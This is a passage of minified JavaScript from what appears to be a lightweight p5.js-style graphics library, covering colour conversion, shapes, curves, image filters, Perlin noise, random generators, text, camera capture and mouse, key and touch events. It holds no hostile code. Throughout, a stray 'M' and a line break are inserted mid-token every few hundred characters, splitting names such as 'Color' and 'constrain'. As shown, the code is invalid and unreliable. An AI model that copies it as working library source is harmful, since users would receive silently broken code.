s,a=c,r=n;break;case 4:o=h,a=s,r=n;break;default:o=n,a=s,r=c}return[255*o,255*a,255*r]}n.Color=function(e,t,n,o){let a=this;a.MAGIC=786698,a._r=e,a._g=t,a._b=n,a._a=o,a._h=0,a._s=0,a._v=0,a._hsvInferred=!1,a.setRed=function(e){a._r=e,a._hsvInferred=!1},a.setGreen=function(e){a._g=e,a._hsvInferred=!1},a.setBlue=function(e){a._b=e,a._hsvInferred=!1},a.setAlpha=function(e){a._a=e/255,a._hsvInferred=!1},a._inferHSV=function(){a._hsvInferred||([a._h,a._s,a._v]=function(e,t,n){let o,a,r,i,l;if(o=e<t?e<n?e:n:t<n?t:n,0==(lM
=100*(a=e>t?e>n?e:n:t>n?t:n)/255))return[r=0,i=0,l];if(0==(i=100*(a-o)/a))return[r=0,i,l];r=a==e?0+60*(t-n)/(a-o):a==t?120+60*(n-e)/(a-o):240+60*(e-t)/(a-o);return[r,i,l]}(a._r,a._g,a._b),a._hsvInferred=!0)},a.toString=function(){return`rgba(${Math.round(a._r)},${Math.round(a._g)},${Math.round(a._b)},${~~(1e3*a._a)/1e3})`}};n.colorMode=function(e){n._colorMode=e};n.color=function(){if(1==arguments.length&&786698==arguments[0].MAGIC)return arguments[0];if(n._colorMode==n.RGB){if(1==arguments.length)return new n.ColoM
r(arguments[0],arguments[0],arguments[0],1);if(2==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],arguments[1]/255);if(3==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],1);if(4==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],arguments[3]/255)}else{if(1==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),1);if(2==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),arguments[1]/255);if(3==arguments.length)return M
new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),1);if(4==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),arguments[3])}return null};n.red=function(e){return e._r};n.green=function(e){return e._g};n.blue=function(e){return e._b};n.alpha=function(e){return 255*e._a};n.hue=function(e){return e._inferHSV(),e._h};n.saturation=function(e){return e._inferHSV(),e._s};n.brightness=function(e){return e._inferHSV(),e._v};n.lightness=function(e){return 100*(.2126*e._r+.M
7152*e._g+.0722*e._b)/255};n.lerpColor=function(e,t,o){return n._colorMode==n.RGB?new n.Color(n.constrain(n.lerp(e._r,t._r,o),0,255),n.constrain(n.lerp(e._g,t._g,o),0,255),n.constrain(n.lerp(e._b,t._b,o),0,255),n.constrain(n.lerp(e._a,t._a,o),0,1)):(e._inferHSV(),t._inferHSV(),new n.Color(n.constrain(function(e,t,o){var a=[[Math.abs(t-e),n.map(o,0,1,e,t)],[Math.abs(t+360-e),n.map(o,0,1,e,t+360)],[Math.abs(t-360-e),n.map(o,0,1,e,t-360)]];return a.sort((e,t)=>e[0]-t[0]),(a[0][1]+720)%360}(e._h,t._h,o),0,360),n.constrM
ain(n.lerp(e._s,t._s,o),0,100),n.constrain(n.lerp(e._v,t._v,o),0,100),n.constrain(n.lerp(e._a,t._a,o),0,1)))};function m(){o.fillStyle="white",o.strokeStyle="black",o.lineCap="round",o.lineJoin="miter"}n.strokeWeight=function(e){n._noStroke=!1,o.lineWidth=e};n.stroke=function(){if(n._noStroke=!1,"string"==typeof arguments[0])return void(o.strokeStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noStroke=!0:o.strokeStyle=e};n.noStroke=function(){n._noStroke=!0};n.fill=function(){if(n._noFill=!1,"striM
ng"==typeof arguments[0])return void(o.fillStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noFill=!0:o.fillStyle=e};n.noFill=function(){n._noFill=!0};n.blendMode=function(e){o.globalCompositeOperation=e};n.strokeCap=function(e){o.lineCap=e};n.strokeJoin=function(e){o.lineJoin=e};n.ellipseMode=function(e){n._ellipseMode=e};n.rectMode=function(e){n._rectMode=e};n.curveDetail=function(e){n._curveDetail=e};n.curveAlpha=function(e){n._curveAlpha=e};n.curveTightness=function(e){console.warn("curveTightM
ness() sets the 'alpha' parameter of Catmull-Rom curve, and is NOT identical to p5.js counterpart. As this might change in the future, please call curveAlpha() directly."),n._curveAlpha=e};n.clear=function(){o.clearRect(0,0,n.width,n.height)};n.background=function(){if(arguments[0]&&arguments[0].MAGIC==n.MAGIC)return n.image(arguments[0],0,0,n.width,n.height);o.save(),o.resetTransform(),"string"==typeof arguments[0]?o.fillStyle=arguments[0]:o.fillStyle=n.color(...Array.from(arguments)),o.fillRect(0,0,n.width,n.heigM
ht),o.restore()};n.line=function(e,t,a,r){n._noStroke||(o.beginPath(),o.moveTo(e,t),o.lineTo(a,r),o.stroke())};function g(e){if(0<=e&&e<2*Math.PI)return e;for(;e<0;)e+=2*Math.PI;for(;e>=Math.PI;)e-=2*Math.PI;return e}function v(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;let c=g(i),h=g(l);o.beginPath();for(let i=0;i<s+1;i++){let l=i/s,u=n.lerp(c,h,l),f=Math.cos(u)*a/2,d=Math.sin(u)*r/2;o[i?"lineTo":"moveTo"](e+f,t+d)}u==n.CHORD?o.closePath():u==n.PIE&&(o.lineTo(e,t),o.closePath()),n._noFill||o.fill(),n._noStrM
oke||o.stroke()}n.arc=function(e,t,o,a,r,i,l,u){if(r==i)return n.ellipse(e,t,o,a);null==u&&(u=25),null==l&&(l=n.PIE),n._ellipseMode==n.CENTER?v(e,t,o,a,r,i,l,u):n._ellipseMode==n.RADIUS?v(e,t,2*o,2*a,r,i,l,u):n._ellipseMode==n.CORNER?v(e+o/2,t+a/2,o,a,r,i,l,u):n._ellipseMode==n.CORNERS&&v((e+o)/2,(t+a)/2,o-e,a-t,r,i,l,u)};function M(e,t,a,r){n._noFill&&n._noStroke||(o.beginPath(),o.ellipse(e,t,a/2,r/2,0,0,2*Math.PI),n._noFill||o.fill(),n._noStroke||o.stroke())}n.ellipse=function(e,t,o,a){null==a&&(a=o),n._ellipseMoM
de==n.CENTER?M(e,t,o,a):n._ellipseMode==n.RADIUS?M(e,t,2*o,2*a):n._ellipseMode==n.CORNER?M(e+o/2,t+a/2,o,a):n._ellipseMode==n.CORNERS&&M((e+o)/2,(t+a)/2,o-e,a-t)};n.circle=function(e,t,o){return n.ellipse(e,t,o,o)};n.point=function(e,t){e.x&&(t=e.y,e=e.x),o.beginPath(),o.ellipse(e,t,.4,.4,0,0,2*Math.PI),o.stroke()};function _(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;if(null==i)return function(e,t,a,r){n._noFill||o.fillRect(e,t,a,r);n._noStroke||o.strokeRect(e,t,a,r)}(e,t,a,r);if(null==l)return _(e,t,a,r,i,M
i,i,i);const c=Math.min(Math.abs(r),Math.abs(a))/2;i=Math.min(c,i),l=Math.min(c,l),s=Math.min(c,s),u=Math.min(c,u),o.beginPath(),o.moveTo(e+i,t),o.arcTo(e+a,t,e+a,t+r,l),o.arcTo(e+a,t+r,e,t+r,u),o.arcTo(e,t+r,e,t,s),o.arcTo(e,t,e+a,t,i),o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke()}n.rect=function(e,t,o,a,r,i,l,u){n._rectMode==n.CENTER?_(e-o/2,t-a/2,o,a,r,i,l,u):n._rectMode==n.RADIUS?_(e-o,t-a,2*o,2*a,r,i,l,u):n._rectMode==n.CORNER?_(e,t,o,a,r,i,l,u):n._rectMode==n.CORNERS&&_(e,t,o-e,a-t,r,i,l,u)};n.squM
are=function(e,t,o,a,r,i,l){return n.rect(e,t,o,o,a,r,i,l)};function x(){i=[]}n.beginShape=function(){x(),o.beginPath(),r=!0};n.beginContour=function(){o.closePath(),x(),r=!0};n.endContour=function(){x(),r=!0};n.vertex=function(e,t){x(),r?o.moveTo(e,t):o.lineTo(e,t),r=!1};n.bezierVertex=function(e,t,n,a,r,i){x(),o.bezierCurveTo(e,t,n,a,r,i)};n.quadraticVertex=function(e,t,n,a){x(),o.quadraticCurveTo(e,t,n,a)};n.bezier=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.bezierVertex(o,a,r,i,l,u),n.endShape()};nM
.triangle=function(e,t,o,a,r,i){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.endShape(n.CLOSE)};n.quad=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.vertex(l,u),n.endShape(n.CLOSE)};n.endShape=function(e){x(),e&&o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke(),n._noFill&&n._noStroke&&(o.save(),o.fillStyle="none",o.fill(),o.restore())};n.curveVertex=function(e,t){if(i.push([e,t]),i.length<4)return;let a=i[i.length-4],l=i[i.length-3],u=i[i.length-2],s=i[i.M
length-1],c=function(e,t,n,o,a,r,i,l,u,s){function c(e,t,n,o,a,r){let i=Math.pow(o-t,2)+Math.pow(a-n,2),l=Math.pow(i,.5*r);return l+e}let h=[],f=c(0,e,t,n,o,s),d=c(f,n,o,a,r,s),p=c(d,a,r,i,l,s);for(let s=0;s<u;s++){let c=f+s/(u-1)*(d-f),m=[(f-c)/(f-0),(c-0)/(f-0),(d-c)/(d-f),(c-f)/(d-f),(p-c)/(p-d),(c-d)/(p-d),(d-c)/(d-0),(c-0)/(d-0),(p-c)/(p-f),(c-f)/(p-f)];for(let e=0;e<m.length;e+=2)isNaN(m[e])&&(m[e]=1,m[e+1]=0),isFinite(m[e])||(m[e]>0?(m[e]=1,m[e+1]=0):(m[e]=0,m[e+1]=1));let g=e*m[0]+n*m[1],v=t*m[0]+o*m[1],M=nM
*m[2]+a*m[3],_=o*m[2]+r*m[3],x=a*m[4]+i*m[5],y=r*m[4]+l*m[5],w=g*m[6]+M*m[7],R=v*m[6]+_*m[7],I=M*m[8]+x*m[9],E=_*m[8]+y*m[9],S=w*m[2]+I*m[3],C=R*m[2]+E*m[3];h.push([S,C])}return h}(...a,...l,...u,...s,n._curveDetail,n._curveAlpha);for(let e=0;e<c.length;e++)r?o.moveTo(...c[e]):o.lineTo(...c[e]),r=!1};n.curve=function(e,t,o,a,r,i,l,u){n.beginShape(),n.curveVertex(e,t),n.curveVertex(o,a),n.curveVertex(r,i),n.curveVertex(l,u),n.endShape()};n.translate=function(e,t){o.translate(e,t)};n.rotate=function(e){o.rotate(e)};nM
.scale=function(e,t){null==t&&(t=e),o.scale(e,t)};n.applyMatrix=function(e,t,n,a,r,i){o.transform(e,t,n,a,r,i)};n.shearX=function(e){o.transform(1,0,Math.tan(e),1,0,0)};n.shearY=function(e){o.transform(1,Math.tan(e),0,1,0,0)};n.resetMatrix=function(){o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity)};n.pushMatrix=n.push=function(){o.save()};n.popMatrix=n.pop=function(){o.restore()};n.image=function(e,t,a,r,i,l,u,s,c){let h=e.MAGIC==n.MAGIC?e.canvas:e;function d(){if(e.MAGIC!=n.MAGIC||!n._tint)return;let tM
=e.canvas.getContext("2d");t.save(),t.resetTransform(),t.clearRect(0,0,t.canvas.width,t.canvas.height),t.drawImage(f.canvas,0,0),t.restore()}return e.MAGIC==n.MAGIC&&null!=n._tint&&(!function(e,t){null==f&&(f=document.createElement("canvas").getContext("2d"));null==e&&(e=o.canvas.width,t=o.canvas.height);f.canvas.width==e&&f.canvas.height==t||(f.canvas.width=e,f.canvas.height=t)}(e.canvas.width,e.canvas.height),f.drawImage(e.canvas,0,0),e.tinted(n._tint)),r?l?(s||(s=h.width),c||(c=h.height),o.drawImage(h,l,u,s,c,t,M
a,r,i),void d()):(o.drawImage(h,t,a,r,i),void d()):(e.MAGIC==n.MAGIC||e.width?o.drawImage(h,t,a,e.width,e.height):o.drawImage(h,t,a,e.videoWidth,e.videoHeight),void d())};n.loadPixels=function(){l=o.getImageData(0,0,n.canvas.width,n.canvas.height),n.pixels=l.data};n.updatePixels=function(){null!=l&&o.putImageData(l,0,0)};n.loadImage=function(e,t){u++;let o=n.createGraphics(100,100),a=o.canvas.getContext("2d"),r=new Image;return r.src=e,r.crossOrigin="Anonymous",r.onload=function(){a.canvas.width=r.width,a.canvas.heM
ight=r.height,o.width=r.width,o.height=r.height,a.drawImage(r,0,0),u--,t&&t(o)},o};let y={};y[n.THRESHOLD]=function(e,t){null==t?t=127.5:t*=255;for(let n=0;n<e.length;n+=4){const o=.2126*e[n]+.7152*e[n+1]+.0722*e[n+2];e[n]=e[n+1]=e[n+2]=o>=t?255:0}};y[n.GRAY]=function(e){for(let t=0;t<e.length;t+=4){const n=.2126*e[t]+.7152*e[t+1]+.0722*e[t+2];e[t]=e[t+1]=e[t+2]=n}};y[n.OPAQUE]=function(e){for(let t=0;t<e.length;t+=4)e[t+3]=255};y[n.INVERT]=function(e){for(let t=0;t<e.length;t+=4)e[t]=255-e[t],e[t+1]=255-e[t+1],e[tM
+2]=255-e[t+2]};y[n.POSTERIZE]=function(e,t){let n=t-1;for(let o=0;o<e.length;o+=4)e[o]=255*(e[o]*t>>8)/n,e[o+1]=255*(e[o+1]*t>>8)/n,e[o+2]=255*(e[o+2]*t>>8)/n};y[n.DILATE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.max(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.ERODE]=function(e){R(),d.set(M
e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.min(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.BLUR]=function(e,t){t=t||1,t=Math.floor(t*n._pixelDensity),R(),d.set(e);let a=2*t+1;let r=function(e){let n=new Float32Array(e),o=.3*t+.8,a=o*o*2;for(let t=0;t<e;t++){let r=t-e/2,i=Math.exp(-r*r/a)/(2.5066282746*o);n[t]=i}reM
turn n}(a),[i,l]=[o.canvas.width,o.canvas.height];for(let n=0;n<l;n++)for(let o=0;o<i;o++){let l=0,u=0,s=0,c=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(o-t+e,0),i-1),h=4*(n*i+a);l+=d[h]*r[e],u+=d[h+1]*r[e],s+=d[h+2]*r[e],c+=d[h+3]*r[e]}let h=4*(n*i+o);e[h]=l,e[h+1]=u,e[h+2]=s,e[h+3]=c}d.set(e);for(let n=0;n<l;n++)for(let o=0;o<i;o++){let u=0,s=0,c=0,h=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(n-t+e,0),l-1),f=4*(a*i+o);u+=d[f]*r[e],s+=d[f+1]*r[e],c+=d[f+2]*r[e],h+=d[f+3]*r[e]}let f=4*(n*i+o);e[f]=u,e[f+1]=sM
,e[f+2]=c,e[f+3]=h}};function w(e,t){null==h&&(h=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),h.canvas.width==e&&h.canvas.height==t||(h.canvas.width=e,h.canvas.height=t)}function R(){let e=o.canvas.width*o.canvas.height*4;null!=d&&e==d.length||(d=new Uint8ClampedArray(e))}function I(e){h.clearRect(0,0,h.canvas.width,h.canvas.height),h.filter=e,h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvasM
,0,0),o.restore()}n.filter=function(e,t){let a=n.HARDWARE_FILTERS&&null!=o.filter;if(a)if(w(),e==n.THRESHOLD){null==t&&(t=.5),t=Math.max(t,1e-5);let e=Math.floor(.5/t*100);I(`saturate(0%) brightness(${e}%) contrast(1000000%)`)}else if(e==n.GRAY)I("saturate(0%)");else if(e==n.OPAQUE)h.fillStyle="black",h.fillRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.drawImage(h.canvas,0,0),o.restore();else if(e==n.INVERT)I("invert(100%)");else if(e==n.BLUR)I(`blur(${Math.ceil(t*M
n._pixelDensity/1)||1}px)`);else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}};n.resize=function(e,t){w(),h.drawImage(o.canvas,0,0),n.width=e,n.height=t,o.canvas.width=e*n._pixelDensity,o.canvas.height=t*n._pixelDensity,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0,o.canvas.width,o.canvas.height),o.restore()};n.getM
=function(e,t,a,r){if(null!=e&&null==a){let a=o.getImageData(e,t,1,1).data;return new n.Color(a[0],a[1],a[2],a[3]/255)}e=e||0,t=t||0,a=a||n.width,r=r||n.height;let i=n.createGraphics(a,r);i.pixelDensity(n._pixelDensity);let l=o.getImageData(e*n._pixelDensity,t*n._pixelDensity,a*n._pixelDensity,r*n._pixelDensity);return i.canvas.getContext("2d").putImageData(l,0,0),i};n.set=function(e,t,a){if(a.MAGIC==n.MAGIC){let o=n._tint;return n._tint=null,n.image(a,e,t),void(n._tint=o)}let r=4*(t*n._pixelDensity*o.canvas.width+M
e*n._pixelDensity);n.pixels[r]=a._r,n.pixels[r+1]=a._g,n.pixels[r+2]=a._b,n.pixels[r+3]=255*a._a};n.tinted=function(){let e=n.color(...Array.from(arguments)),t=e._a;e._a=1,w(),h.clearRect(0,0,h.canvas.width,h.canvas.height),h.fillStyle=e,h.fillRect(0,0,h.canvas.width,h.canvas.height),h.globalCompositeOperation="multiply",h.drawImage(o.canvas,0,0),h.globalCompositeOperation="source-over",o.save(),o.resetTransform();let a=o.globalCompositeOperation;o.globalCompositeOperation="source-in",o.drawImage(h.canvas,0,0),o.glM
obalCompositeOperation=a,o.restore(),h.globalAlpha=t,h.clearRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),h.globalAlpha=1,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()};n.tint=function(){n._tint=n.color(...Array.from(arguments))};n.noTint=function(){n._tint=null};n.mask=function(e){o.save(),o.resetTransform();let t=o.globalCompositeOperation;o.globalCompositeOperation="destination-in",o.drawImage(e.canvas,0,0),o.globalCompositeM
Operation=t,o.restore()};n.clearTemporaryBuffers=function(){h=null,f=null,d=null};n.save=function(e,t){e=e||"untitled",t=t||"png";var n=document.createElement("a");n.innerHTML="[Download]",n.addEventListener("click",function(){this.href=o.canvas.toDataURL(),this.download=e+"."+t},!1),document.body.appendChild(n),n.click(),document.body.removeChild(n)};n.saveCanvas=function(e,t,o){if(e.MAGIC==n.MAGIC){o&&e.save(t,o);let n=t.split(".");return e.save(n.slice(0,-1).join("."),n[n.length-1])}if(t)return n.save(e,t);let aM
=e.split(".");return n.save(a.slice(0,-1).join("."),a[a.length-1])};n.loadFont=function(e,t){let n=e.split("/"),o=n[n.length-1].split(".")[0].replace(" ",""),a=`@font-face {\n        font-family: '${o}';\n        src: url('${e}');\n      }`;const r=document.createElement("style");return r.textContent=a,document.head.append(r),o};n.textFont=function(e){n._textFont=e};n.textSize=function(e){n._textSize=e,n._textLeading=e};n.textLeading=function(e){n._textLeading=e};n.textStyle=function(e){n._textStyle=e};n.textAlign=M
function(e,t){o.textAlign=e,t&&(o.textBaseline=t==n.CENTER?"middle":t)};n.text=function(e,t,a,r){if(!e)return;if(e=e.toString(),n._noFill&&n._noStroke)return;o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`;let i=e.split("\n");for(let e=0;e<i.length;e++)n._noFill||o.fillText(i[e],t,a,r),n._noStroke||o.strokeText(i[e],t,a,r),a+=n._textLeading};n.textWidth=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).width};n.textAscent=function(e){return o.font=`${n._textStyle}M
 ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxAscent};n.textDescent=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxDescent};var E=4;var S=.5;var C=function(e){return.5*(1-Math.cos(e*Math.PI))};var A;n.noise=function(e,t,n){if(t=t||0,n=n||0,null==A){A=new Array(4096);for(var o=0;o<4096;o++)A[o]=Math.random()}e<0&&(e=-e),t<0&&(t=-t),n<0&&(n=-n);for(var a,r,i,l,u,s=Math.floor(e),c=Math.floor(t),h=Math.floor(n),f=e-s,d=t-c,p=n-h,m=0,g=M
.5,v=0;v<E;v++){var M=s+(c<<4)+(h<<8);a=C(f),r=C(d),i=A[4095&M],i+=a*(A[M+1&4095]-i),l=A[M+16&4095],l+=a*(A[M+16+1&4095]-l),i+=r*(l-i),l=A[4095&(M+=256)],l+=a*(A[M+1&4095]-l),u=A[M+16&4095],u+=a*(A[M+16+1&4095]-u),l+=r*(u-l),i+=C(p)*(l-i),m+=i*g,g*=S,s<<=1,c<<=1,h<<=1,(f*=2)>=1&&(s++,f--),(d*=2)>=1&&(c++,d--),(p*=2)>=1&&(h++,p--)}return m};n.noiseDetail=function(e,t){e>0&&(E=e),t>0&&(S=t)};const T=function(){let e,t,n=4294967295;return{setSeed(o){e=t=(null==o?Math.random()*n:o)>>>0},getSeed:()=>t,rand:()=>(e^=e<<17M
,e^=e>>13,((e^=e<<5)>>>0)/n)}};let D=T();D.setSeed();n.noiseSeed=function(e){let t=null==e?4294967295*Math.random():e;A||(A=new Float32Array(4096));for(var n=0;n<4096;n++)t^=t<<17,t^=t>>13,t^=t<<5,A[n]=(t>>>0)/4294967295};n.randomSeed=function(e){D.setSeed(e)};n.random=function(e,t){return"number"==typeof e?null!=t?D.rand()*(t-e)+e:D.rand()*e:e[~~(e.length*D.rand())]};n.randomGenerator=function(e){e==n.LCG?D=function(){const e=4294967296;let t,n;return{setSeed(o){n=t=(null==o?Math.random()*e:o)>>>0},getSeed:()=>t,rM
and:()=>(n=(1664525*n+1013904223)%e)/e}}():e==n.SHR3&&(D=T()),D.setSeed()};var P=new function(){var e,t,n,o=new Array(128),a=new Array(256),r=new Array(128),i=new Array(128),l=new Array(256),u=new Array(256),s=function(){return 4294967296*D.rand()-2147483648},c=function(){return.5+2.328306e-10*(s()<<0)},h=function(){for(var t,a,l,u,h=3.44262;;){if(t=n*r[e],0==e){do{l=c(),u=c(),t=.2904764*-Math.log(l),a=-Math.log(u)}while(a+a<t*t);return n>0?h+t:-h-t}if(i[e]+c()*(i[e-1]-i[e])<Math.exp(-.5*t*t))return t;if(n=s(),e=12M
7&n,Math.abs(n)<o[e])return n*r[e]}},f=function(){for(var n;;){if(0==e)return 7.69711-Math.log(c());if(n=t*l[e],u[e]+c()*(u[e-1]-u[e])<Math.exp(-n))return n;if((t=s())<a[e=255&t])return t*l[e]}};this.SHR3=s,this.UNI=c,this.RNOR=function(){return n=s(),e=127&n,Math.abs(n)<o[e]?n*r[e]:h()},this.REXP=function(){return(t=s()>>>0)<o[e=255&t]?t*l[e]:f()},this.zigset=function(){var e,t,n=2147483648,s=4294967296,c=3.442619855899,h=c,f=.00991256303526217,d=7.697117470131487,p=d,m=.003949659822581572;for(e=f/Math.exp(-.5*c*cM
),o[0]=Math.floor(c/e*n),o[1]=0,r[0]=e/n,r[127]=c/n,i[0]=1,i[127]=Math.exp(-.5*c*c),t=126;t>=1;t--)c=Math.sqrt(-2*Math.log(f/c+Math.exp(-.5*c*c))),o[t+1]=Math.floor(c/h*n),h=c,i[t]=Math.exp(-.5*c*c),r[t]=c/n;for(e=m/Math.exp(-d),a[0]=Math.floor(d/e*s),a[1]=0,l[0]=e/s,l[255]=d/s,u[0]=1,u[255]=Math.exp(-d),t=254;t>=1;t--)d=-Math.log(m/d+Math.exp(-d)),a[t+1]=Math.floor(d/p*s),p=d,u[t]=Math.exp(-d),l[t]=d/s}};P.hasInit=!1;n.randomGaussian=function(e,t){return P.hasInit||(P.zigset(),P.hasInit=!0),P.RNOR()*t+e};n.randomEM
xponential=function(){return P.hasInit||(P.zigset(),P.hasInit=!0),P.REXP()};n.print=console.log;n.cursor=function(e,t,o){let a="";e.includes(".")&&(e=`url("${e}")`,a=", auto"),null!=t&&(e+=" "+t+" "+o),n.canvas.style.cursor=e+a};n.noCursor=function(){n.canvas.style.cursor="none"};n.createCapture=function(e){var t=document.createElement("video");return t.playsinline="playsinline",t.autoplay="autoplay",navigator.mediaDevices.getUserMedia(e).then(function(e){t.srcObject=e}),t.style.position="absolute",t.style.opacity=M
1e-5,t.style.zIndex=-1e3,document.body.appendChild(t),t};let b=["setup","draw","preload","mouseMoved","mousePressed","mouseReleased","mouseDragged","mouseClicked","keyPressed","keyReleased","keyTyped","touchStarted","touchEnded"];for(let e of b){let t="_"+e+"Fn";n[t]=function(){},n[t].isPlaceHolder=!0,n[e]?n[t]=n[e]:Object.defineProperty(n,e,{set:function(e){n[t]=e}})}function z(){n._noLoop||(a=null==n._frameRate?requestAnimationFrame(z):setTimeout(z,1e3/n._frameRate)),x(),r=!0,o.save(),n._drawFn(),o.restore(),n.frM
ameCount++}n.noLoop=function(){n._noLoop=!0,a=null};n.loop=function(){n._noLoop=!1,null==a&&z()};n.redraw=function(){z()};n.frameRate=function(e){n._frameRate=e};setTimeout(function(){n._preloadFn(),c=window.performance.now(),function e(){if(u>0)return setTimeout(e,10);n._setupFn();z()}()},1);n.canvas.onmousemove=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed?n._mouseDraggedFn(e):n._mouseMovedFn(e)};n.canvas.onmousedown=function(e){n.pmouseX=n.mouseX,n.pmousM
eY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n.mouseButton=[n.LEFT,n.CENTER,n.RIGHT][e.button],n._mousePressedFn(e)};n.canvas.onmouseup=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!1,n._mouseReleasedFn(e)};n.canvas.onclick=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n._mouseClickedFn(e),n.mouseIsPressed=!1};window.addEventListener("keydown",function(e){n.keyIsPressed=M
!0,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!0,n._keyPressedFn(e),1==e.key.length&&n._keyTypedFn(e)});window.addEventListener("keyup",function(e){n.keyIsPressed=!1,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!1,n._keyReleasedFn(e)});n.keyIsDown=function(e){return!!s[e]};function O(e){const t=n.canvas.getBoundingClientRect(),o=n.canvas.scrollWidth/n.width||1,a=n.canvas.scrollHeight/n.height||1;return{x:(e.clientX-t.left)/o,y:(e.clientY-t.top)/a,id:e.identifier}}function k(){return n._touchStarted.isPlaceHolder&M
&n._touchMoved.isPlaceHolder&&n._touchEnded.isPlaceHolder}n.canvas.ontouchstart=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mousePressedFn(e)||e.preventDefault()),n._touchStartedFn(e)||e.preventDefault()};n.canvas.ontouchmove=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButtoM
n=n.LEFT,n._mouseDraggedFn(e)||e.preventDefault()),n._touchMovedFn(e)||e.preventDefault()};n.canvas.ontouchend=n.canvas.ontouchcancel=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!1,n._mouseReleasedFn(e)||e.preventDefault()),n._touchEndedFn(e)||e.preventDefault()};n.hasSensorPermission=!window.DeviceOrientationEvent&&!window.DeviceMotionEvent||!(DeviceOrientationEvent.requestPermission||DeviceMotionEvent.requestPeM
rmission);n.requestSensorPermissions=function(){DeviceOrientationEvent.requestPermission&&DeviceOrientationEvent.requestPermission().then(e=>{"granted"==e&&DeviceMotionEvent.requestPermission&&DeviceMotionEvent.requestPermission().then(e=>{"granted"==e&&(n.hasSensorPermission=!0)}).catch(alert)}).catch(alert)};window.ondeviceorientation=function(e){n.pRotationX=n.rotationX,n.pRotationY=n.rotationY,n.pRotationZ=n.rotationZ,n.pRelRotationX=n.relRotationX,n.pRelRotationY=n.relRotationY,n.pRelRotationZ=n.relRotationZ,nM
